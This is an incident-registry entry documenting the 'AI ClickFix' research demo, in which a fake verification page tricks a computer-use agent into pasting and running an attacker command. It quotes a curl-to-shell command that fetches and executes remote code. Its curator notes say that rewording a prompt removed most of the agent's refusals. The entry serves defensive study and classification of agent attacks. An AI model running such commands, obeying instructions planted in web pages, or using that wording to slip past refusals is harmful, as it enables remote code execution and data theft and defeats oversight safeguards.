Agent Incident RegistryAIR
v1 · updated 19 Oct 2026
Research demo

AI ClickFix: social-engineering a computer-use agent into pasting and running an attacker command

AIR-2025-0036 AIR record · 2025-05-ai-clickfix-computer-use
Open in dashboard About
From the supporting source
Once the “Show Instructions” button is clicked, the command curl -s https://wuzzi.net/computer/oops.html | sh is copied to the clipboard.embracethered.com
The record
Disclosed
2025-05-24
Vendor
Anthropic
Product
Claude Computer-Use Agent
Risk domain
Access control and permissions › Privilege escalation
Also touches
Data exfiltration channels
System type
Generative model
Who acted
Agent acted — the computer-use agent pasted and ran the attacker command
Attack surface
Computer-use agent
Autonomy level
Semi-autonomous
Initial vector
Malicious web page social engineering
Impact type
Code execution, Remote code execution, Data exfiltration
Confidence
High
Submitted by
EAI Internal
Crosswalk
OWASP Agentic Top 10 (2026)
ASI03 – Identity and Privilege Abuse
MITRE ATLAS
AML.T0055 – Unsecured Credentials
NIST AI RMF
GOVERN 6.1
EU AI Act
Article 13
ISO/IEC
TR 24028; 42001; 23894
AIUC-1
B. Security
Scope
tool misuse
Mitigation
Apply least-privilege principle; Regular policy audits.
Taxonomy
Enkrypt AI agent risk taxonomy · Black-Box Red Teaming of Agentic AI: A Taxonomy-Driven Framework for Automated Risk Discovery
Blast radius
computer-use agents browsing attacker-controlled sites
Capability abused
mouse_keyboard_controlclipboardterminal_usegui_interactionclipboard_accessterminal_command_execution
Defense & remediation
Recorded defense
Claude refusal behaviour on CAPTCHA-like flows
Guardrail kinds
Unknown
Guardrail outcome
Silent
Taxonomy & references
OWASP ASI01 Agent Goal HijackOWASP ASI04 Agentic Supply Chain VulnerabilitiesOWASP ASI05 Unexpected Code Execution (RCE)ATLAS AML.CS0055clickfixttp_transfer_from_human_to_agentclipboard_hijacksocial_engineeringttp_transfercomputer_use
Curator notes
Johann Rehberger. Notably, changing 'Are you a Human?' to 'Are you a Computer?' removed most refusals - the guardrail was keyed on human-handoff cues. Also reported as: 'AI ClickFix: hijacking computer-use agents with fake verification UI'.
Supporting sources
Cite as
Enkrypt AI. "AI ClickFix: social-engineering a computer-use agent into pasting and running an attacker command". AIR, AIR-2025-0036. https://agentincident.vercel.app/i/AIR-2025-0036/ (accessed 2026-10-19).